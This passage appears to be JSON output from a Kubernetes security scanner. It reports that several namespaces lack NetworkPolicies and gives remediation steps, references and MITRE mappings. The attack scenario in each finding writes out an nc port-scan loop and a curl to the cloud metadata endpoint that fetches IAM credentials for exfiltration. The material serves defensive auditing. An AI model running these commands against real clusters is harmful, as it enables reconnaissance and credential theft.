      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "csr-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `csr-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `csr-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n csr-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:cutres-deputy-tenant",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `cutres-deputy-tenant` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `cutres-deputy-tenant` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "cutres-deputy-tenant",
      "namespace": "cutres-deputy-tenant"
    },
    "namespace": "cutres-deputy-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cutres-deputy-tenant`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `cutres-deputy-tenant` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "cutres-deputy-tenant"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `cutres-deputy-tenant`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `cutres-deputy-tenant`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n cutres-deputy-tenant --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:cutres-pods-a",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `cutres-pods-a` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `cutres-pods-a` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "cutres-pods-a",
      "namespace": "cutres-pods-a"
    },
    "namespace": "cutres-pods-a",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cutres-pods-a`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `cutres-pods-a` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "cutres-pods-a"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `cutres-pods-a`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `cutres-pods-a`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n cutres-pods-a --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:cutres-pods-b",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `cutres-pods-b` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `cutres-pods-b` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "cutres-pods-b",
      "namespace": "cutres-pods-b"
    },
    "namespace": "cutres-pods-b",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cutres-pods-b`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `cutres-pods-b` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "cutres-pods-b"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `cutres-pods-b`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `cutres-pods-b`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n cutres-pods-b --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:cutres",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `cutres` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `cutres` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cutres`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `cutres` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "cutres"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `cutres`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `cutres`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n cutres --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:deepchain-tenant",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `deepchain-tenant` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `deepchain-tenant` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `deepchain-tenant`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `deepchain-tenant` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "deepchain-tenant"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `deepchain-tenant`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `deepchain-tenant`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n deepchain-tenant --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
